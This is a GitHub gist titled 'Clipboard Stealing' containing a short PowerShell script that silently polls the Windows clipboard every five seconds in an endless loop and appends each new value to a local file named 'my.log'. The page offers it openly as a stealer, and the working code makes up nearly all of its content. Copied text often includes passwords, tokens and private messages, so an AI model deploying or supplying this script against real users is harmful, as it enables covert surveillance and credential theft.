Skip to content

Instantly share code, notes, and snippets.

@chokepoint
Created August 19, 2017 12:28
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save chokepoint/dfa1f742fcec471ed1384ae97d3d12c8 to your computer and use it in GitHub Desktop.
Save chokepoint/dfa1f742fcec471ed1384ae97d3d12c8 to your computer and use it in GitHub Desktop.
Clipboard Stealing
function Get-Clipboard([switch] $Lines) {
if($Lines) {
$cmd = {
Add-Type -Assembly PresentationCore
[Windows.Clipboard]::GetText() -replace "`r", '' -split "`n"
}
} else {
$cmd = {
Add-Type -Assembly PresentationCore
[Windows.Clipboard]::GetText()
}
}
if([threading.thread]::CurrentThread.GetApartmentState() -eq 'MTA') {
& powershell -Sta -Command $cmd
} else {
& $cmd
}
}
$last = ""
while ($true) {
$cboard = Get-Clipboard
if ($cboard -ne $last) {
$cboard | Add-Content "my.log"
}
$last = $cboard
Start-Sleep 5
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment